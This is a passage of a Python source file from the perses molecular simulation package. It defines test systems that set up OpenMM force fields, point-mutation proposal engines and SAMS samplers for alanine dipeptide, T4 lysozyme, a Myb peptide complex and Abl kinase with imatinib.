solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AlanineDipeptideTestSystem >>> testsystem = AlanineDipeptideTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['vacuum'] """ def __init__(self, constraints=app.HBonds, **kwargs): super(AlanineDipeptideTestSystem, self).__init__(**kwargs) #environments = ['explicit', 'implicit', 'vacuum'] environments = ['explicit', 'vacuum'] temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Use sterics in proposals self.geometry_engine.use_sterics = True # Write atom-by-atom geometry output. self.geometry_engine.write_proposal_pdb = True self.geometry_engine.pdb_filename_prefix = 'geometry' # Create a system generator for our desired forcefields. barostat = openmm.MonteCarloBarostat(pressure, temperature) #forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 1e-4, 'nonbondedMethod': app.NoCutoff, 'constraints' : app.HBonds, 'hydrogenMass' : 4 * unit.amus} #small_molecule_forcefield = 'gaff-2.11' system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None, 'constraints' : constraints }, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic}) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2, 'constraints' : constraints }) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None, 'constraints' : constraints }, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff}) # Create peptide in solvent. from openmmtools.testsystems import AlanineDipeptideExplicit, AlanineDipeptideImplicit, AlanineDipeptideVacuum from pkg_resources import resource_filename pdb_filename = resource_filename('openmmtools', 'data/alanine-dipeptide-gbsa/alanine-dipeptide.pdb') from simtk.openmm.app import PDBFile topologies = dict() positions = dict() pdbfile = PDBFile(pdb_filename) topologies['vacuum'] = pdbfile.getTopology() positions['vacuum'] = pdbfile.getPositions(asNumpy=True) #topologies['implicit'] = pdbfile.getTopology() #positions['implicit'] = pdbfile.getPositions(asNumpy=True) # Create molecule in explicit solvent. modeller = app.Modeller(topologies['vacuum'], positions['vacuum']) modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies['explicit'] = modeller.getTopology() positions['explicit'] = modeller.getPositions() # Set up the proposal engines. from perses.rjmc.topology_proposal import PointMutationEngine proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file 'always_change' : True # don't propose self-transitions } proposal_engines = dict() chain_id = ' ' allowed_mutations = [('2','VAL'),('2','LEU'),('2','ILE')] for environment in environments: proposal_engines[environment] = PointMutationEngine(topologies[environment],system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() thermodynamic_states['explicit'] = states.ThermodynamicState(system=systems['explicit'], temperature=temperature, pressure=pressure) #thermodynamic_states['implicit'] = states.ThermodynamicState(system=systems['implicit'], temperature=temperature) thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) if environment == 'explicit': sampler_state = states.SamplerState(positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing mcmc_samplers[environment].timestep = 1.0 * unit.femtoseconds exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps': 0}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign #target_samplers = { sams_samplers['implicit'] : 1.0, sams_samplers['vacuum'] : -1.0 } target_samplers = { sams_samplers['vacuum'] : 1.0, sams_samplers['vacuum'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.environments = environments self.topologies = topologies self.positions = positions self.systems = systems self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer class AlanineDipeptideValenceTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for testing PointMutationEngine on alanine dipeptide in various solvents. Only valence terms are included---no sterics. Properties ---------- environments : list of str Available environments: ['vacuum'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AlanineDipeptideValenceTestSystem >>> testsystem = AlanineDipeptideValenceTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['vacuum'] """ def __init__(self, **kwargs): super(AlanineDipeptideValenceTestSystem, self).__init__(**kwargs) environments = ['vacuum'] # Write atom-by-atom geometry output. self.geometry_engine.write_proposal_pdb = False #self.geometry_engine.pdb_filename_prefix = 'geometry2' # Create a system generator for our desired forcefields. system_generators = dict() from pkg_resources import resource_filename valence_xml_filename = resource_filename('perses', 'data/amber99sbildn-valence-only.xml') system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = { 'implicitSolvent' : None, 'constraints' : constraints }, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff}) # Create peptide in solvent. from openmmtools.testsystems import AlanineDipeptideExplicit, AlanineDipeptideImplicit, AlanineDipeptideVacuum from pkg_resources import resource_filename pdb_filename = resource_filename('openmmtools', 'data/alanine-dipeptide-gbsa/alanine-dipeptide.pdb') from simtk.openmm.app import PDBFile topologies = dict() positions = dict() pdbfile = PDBFile(pdb_filename) topologies['vacuum'] = pdbfile.getTopology() positions['vacuum'] = pdbfile.getPositions(asNumpy=True) # Set up the proposal engines. from perses.rjmc.topology_proposal import PointMutationEngine proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file 'always_change' : True # don't propose self-transitions } proposal_engines = dict() chain_id = ' ' allowed_mutations = [('2','PHE')] proposal_metadata = {"always_change":True} for environment in environments: proposal_engines[environment] = PointMutationEngine(topologies[environment],system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations, always_change=True) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':50}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['vacuum'] : 1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.environments = environments self.topologies = topologies self.positions = positions self.systems = systems self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer def load_via_pdbfixer(filename=None, pdbid=None): """ Load a PDB file via PDBFixer, keeping all heterogens and building in protons for any crystallographic waters. """ from pdbfixer import PDBFixer fixer = PDBFixer(filename=filename, pdbid=pdbid) fixer.findMissingResidues() fixer.findNonstandardResidues() fixer.replaceNonstandardResidues() fixer.findMissingAtoms() fixer.addMissingAtoms() fixer.addMissingHydrogens(7.0) return [fixer.topology, fixer.positions] class T4LysozymeMutationTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for testing PointMutationEngine on T4 lysozyme in various solvents. Wild Type is T4 L99A Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit', 'implicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import T4LysozymeTestSystem >>> testsystem = T4LysozymeTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['implicit'] """ def __init__(self, **kwargs): super(T4LysozymeMutationTestSystem, self).__init__(**kwargs) # environments = ['explicit-complex', 'explicit-receptor', 'implicit-complex', 'implicit-receptor', 'vacuum-complex', 'vacuum-receptor'] environments = ['explicit-complex', 'explicit-receptor', 'vacuum-complex', 'vacuum-receptor'] temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Create a system generator for our desired forcefields. from pkg_resources import resource_filename barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic}) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={ 'nonbondedMethod' : app.NoCutoff}) system_generators['explicit-complex'] = system_generators['explicit'] system_generators['explicit-receptor'] = system_generators['explicit'] #system_generators['implicit-complex'] = system_generators['implicit'] #system_generators['implicit-receptor'] = system_generators['implicit'] system_generators['vacuum-complex'] = system_generators['vacuum'] system_generators['vacuum-receptor'] = system_generators['vacuum'] # Create receptor in solvent. from pkg_resources import resource_filename pdb_filename = resource_filename('perses', 'data/181L.pdb') import pdbfixer from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() [fixer_topology, fixer_positions] = load_via_pdbfixer(pdb_filename) modeller = Modeller(fixer_topology, fixer_positions) residues_to_delete = [ residue for residue in modeller.getTopology().residues() if residue.name in ['HED','CL','HOH'] ] modeller.delete(residues_to_delete) receptor_modeller = copy.deepcopy(modeller) ligand_modeller = copy.deepcopy(modeller) for chain in receptor_modeller.getTopology().chains(): pass chains_to_delete = [chain] receptor_modeller.delete(chains_to_delete) topologies['receptor'] = receptor_modeller.getTopology() positions['receptor'] = receptor_modeller.getPositions() for chain in ligand_modeller.getTopology().chains(): break chains_to_delete = [chain] ligand_modeller.delete(chains_to_delete) for residue in ligand_modeller.getTopology().residues(): if residue.name == 'BNZ': break from perses.utils.openeye import extractPositionsFromOEMol, giveOpenmmPositionsToOEMol import perses.rjmc.geometry as geometry from perses.rjmc.topology_proposal import TopologyProposal # create OEMol version of benzene mol = smiles_to_oemol('c1ccccc1') new_residue = forcefield_generators.generateTopologyFromOEMol(mol) for res in new_residue.residues(): res.name = 'BNZ' bnz_new_sys = system_generators['vacuum'].create_system(new_residue) kB = unit.BOLTZMANN_CONSTANT_kB * unit.AVOGADRO_CONSTANT_NA temperature = 300.0 * unit.kelvin kT = kB * temperature beta = 1.0/kT adding_hydrogen_proposal = TopologyProposal(new_topology=new_residue, new_system =bnz_new_sys, old_topology=ligand_modeller.topology, old_system =bnz_new_sys, logp_proposal = 0.0, new_to_old_atom_map = {0:0,1:1,2:2,3:3,4:4,5:5}, old_chemical_state_key='',new_chemical_state_key='') geometry_engine = geometry.FFAllAngleGeometryEngine() new_positions, logp = geometry_engine.propose(adding_hydrogen_proposal, ligand_modeller.positions, beta) modeller = copy.deepcopy(receptor_modeller) modeller.add(new_residue, new_positions) topologies['complex'] = modeller.getTopology() positions['complex'] = modeller.getPositions() # Create all environments. for environment in ['implicit', 'vacuum']: for component in ['receptor', 'complex']: topologies[environment + '-' + component] = topologies[component] positions[environment + '-' + component] = positions[component] # Set up in explicit solvent. for component in ['receptor', 'complex']: modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom) atoms = list(modeller.topology.atoms()) print('Solvated %s has %s atoms' % (component, len(atoms))) topologies['explicit' + '-' + component] = modeller.getTopology() positions['explicit' + '-' + component] = modeller.getPositions() # Set up the proposal engines. allowed_mutations = [ ('99','GLY'), ('102','GLN'), ('102','HIS'), ('102','GLU'), ('102','LEU'), ('153','ALA'), ('108','VAL'), ('99','GLY'), ('108','VAL')] from perses.rjmc.topology_proposal import PointMutationEngine proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'] } proposal_engines = dict() chain_id = 'A' for environment in environments: proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations) # Generate systems systems = dict() for environment in environments: print(environment) systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() for component in ['receptor', 'complex']: thermodynamic_states['explicit' + '-' + component] = states.ThermodynamicState(system=systems['explicit' + '-' + component], temperature=temperature, pressure=pressure) #thermodynamic_states['implicit' + '-' + component] = ThermodynamicState(system=systems['implicit' + '-' + component], temperature=temperature) thermodynamic_states['vacuum' + '-' + component] = states.ThermodynamicState(system=systems['vacuum' + '-' + component], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) if environment[0:8] == 'explicit': sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['explicit-complex'] : 1.0, sams_samplers['explicit-receptor'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.environments = environments self.topologies = topologies self.positions = positions self.systems = systems self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer class MybTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for testing PointMutationEngine on Myb:peptide interaction in various solvents. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit', 'implicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import MybTestSystem >>> testsystem = MybTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum-peptide'].create_system(testsystem.topologies['vacuum-peptide']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['implicit-peptide'] """ def __init__(self, **kwargs): super(MybTestSystem, self).__init__(**kwargs) environments = ['explicit-complex', 'explicit-peptide', 'implicit-complex', 'implicit-peptide', 'vacuum-complex', 'vacuum-peptide'] temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Use sterics in proposals self.geometry_engine.use_sterics = True # Write atom-by-atom geometry output. self.geometry_engine.write_proposal_pdb = True self.geometry_engine.pdb_filename_prefix = 'geometry' # Create a system generator for our desired forcefields. barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic}) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff}) system_generators['explicit-complex'] = system_generators['explicit'] system_generators['explicit-peptide'] = system_generators['explicit'] # system_generators['implicit-complex'] = system_generators['implicit'] # system_generators['implicit-peptide'] = system_generators['implicit'] system_generators['vacuum-complex'] = system_generators['vacuum'] system_generators['vacuum-peptide'] = system_generators['vacuum'] # Create peptide in solvent. from pkg_resources import resource_filename pdb_filename = resource_filename('perses', 'data/1sb0.pdb') import pdbfixer from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() #pdbfile = PDBFile(pdb_filename) [fixer_topology, fixer_positions] = load_via_pdbfixer(pdb_filename) topologies['complex'] = fixer_topology positions['complex'] = fixer_positions modeller = Modeller(topologies['complex'], positions['complex']) chains_to_delete = [ chain for chain in modeller.getTopology().chains() if chain.id == 'A' ] # remove chain A modeller.delete(chains_to_delete) topologies['peptide'] = modeller.getTopology() positions['peptide'] = modeller.getPositions() # Create all environments. for environment in ['vacuum']: for component in ['peptide', 'complex']: topologies[environment + '-' + component] = topologies[component] positions[environment + '-' + component] = positions[component] # Set up in explicit solvent. for component in ['peptide', 'complex']: modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies['explicit' + '-' + component] = modeller.getTopology() positions['explicit' + '-' + component] = modeller.getPositions() # Set up the proposal engines. allowed_mutations = list() for resid in ['91', '99', '103', '105']: for resname in ['ALA', 'LEU', 'VAL', 'PHE', 'CYS', 'THR', 'TRP', 'TYR', 'GLU', 'ASP', 'LYS', 'ARG', 'ASN']: allowed_mutations.append((resid, resname)) from perses.rjmc.topology_proposal import PointMutationEngine proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file 'always_change' : True # don't propose self-transitions } proposal_engines = dict() chain_id = 'B' for environment in environments: proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() for component in ['peptide', 'complex']: thermodynamic_states['explicit' + '-' + component] = states.ThermodynamicState(system=systems['explicit' + '-' + component], temperature=temperature, pressure=pressure) #thermodynamic_states['implicit' + '-' + component] = states.ThermodynamicState(system=systems['implicit' + '-' + component], temperature=temperature) thermodynamic_states['vacuum' + '-' + component] = states.ThermodynamicState(system=systems['vacuum' + '-' + component], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) if environment[0:8] == 'explicit': sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) 00 # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':0}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-peptide'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.environments = environments self.topologies = topologies self.positions = positions self.systems = systems self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer class AblImatinibResistanceTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for testing PointMutationEngine on Abl:imatinib. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit solvent hydration free energies Examples -------- >>> from perses.tests.testsystems import AblImatinibResistanceTestSystem >>> testsystem = AblImatinibResistanceTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum-inhibitor'].create_system(testsystem.topologies['vacuum-inhibitor']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['vacuum-inhibitor'] """ def __init__(self, **kwargs): super(AblImatinibResistanceTestSystem, self).__init__(**kwargs) solvents = ['vacuum', 'explicit'] # TODO: Add 'implicit' once GBSA parameterization for small molecules is working # solvents = ['vacuum'] # DEBUG components = ['receptor', 'complex'] # TODO: Add 'ATP:kinase' complex to enable resistance design padding = 9.0*unit.angstrom explicit_solvent_model = 'tip3p' setup_path = 'data/abl-imatinib' thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres # Construct list of all environments environments = list() for solvent in solvents: for component in components: environment = solvent + '-' + component environments.append(environment) # Create a system generator for desired forcefields from pkg_resources import resource_filename gaff_xml_filename = resource_filename('perses', 'data/gaff.xml') barostat = openmm.MonteCarloBarostat(pressure, temperature) system_generators = dict() system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat, forcefield_kwargs = { 'nonbondedMethod' : app.CutoffPeriodic, 'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None}) # NOTE implicit solvent not supported by this SystemGenerator # system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files, # forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2}) system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : None}) # Copy system generators for all environments for solvent in solvents: for component in components: environment = solvent + '-' + component system_generators[environment] = system_generators[solvent] # Load topologies and positions for all components from simtk.openmm.app import PDBFile, Modeller topologies = dict() positions = dict() for component in components: pdb_filename = resource_filename('perses', os.path.join(setup_path, '%s.pdb' % component)) pdbfile = PDBFile(pdb_filename) topologies[component] = pdbfile.topology positions[component] = pdbfile.positions # Construct positions and topologies for all solvent environments for solvent in solvents: for component in components: environment = solvent + '-' + component if solvent == 'explicit': # Create MODELLER object. modeller = app.Modeller(topologies[component], positions[component]) modeller.addSolvent(system_generators[solvent].forcefield, model='tip3p', padding=9.0*unit.angstrom) topologies[environment] = modeller.getTopology() positions[environment] = modeller.getPositions() else: environment = solvent + '-' + component topologies[environment] = topologies[component] positions[environment] = positions[component] # Set up resistance mutation proposal engines allowed_mutations = list() # TODO: Expand this beyond the ATP binding site for resid in ['22', '37', '52', '55', '65', '81', '125', '128', '147', '148']: for resname in ['ALA', 'CYS', 'ASP', 'GLU', 'PHE', 'HIS', 'ILE', 'LYS', 'LEU', 'MET', 'ASN', 'PRO', 'GLN', 'ARG', 'SER', 'THR', 'VAL', 'TRP', 'TYR']: allowed_mutations.append((resid, resname)) from perses.rjmc.topology_proposal import PointMutationEngine proposal_metadata = { 'ffxmls' : ['amber99sbildn.xml'] } proposal_engines = dict() chain_id = 'A' for solvent in solvents: for component in ['complex', 'receptor']: # Mutations only apply to components that contain the kinase environment = solvent + '-' + component proposal_engines[environment] = PointMutationEngine(topologies[environment], system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations) # Generate systems ror all environments systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() thermodynamic_states = dict() for solvent in solvents: for component in components: environment = solvent + '-' + component chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) if solvent == 'explicit': thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature, pressure=pressure) sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: thermodynamic_state = states.ThermodynamicState(system=systems[environment], temperature=temperature) sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_state, sampler_state, copy.deepcopy(self._move)) # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, self.geometry_engine, proposal_engines[environment], options={'nsteps':self._ncmc_nsteps, 'mcmc_nsteps':self._mcmc_nsteps}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True thermodynamic_states[environment] = thermodynamic_state # Create test MultiTargetDesign sampler. # TODO: Replace this with inhibitor:kinase and ATP:kinase ratio from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['vacuum-complex'] : 1.0, sams_samplers['vacuum-receptor'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) designer.verbose = True # Store things. self.components = components self.solvents = solvents self.environments = environments self.topologies = topologies self.positions = positions self.systems = systems self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer # This system must currently be minimized. 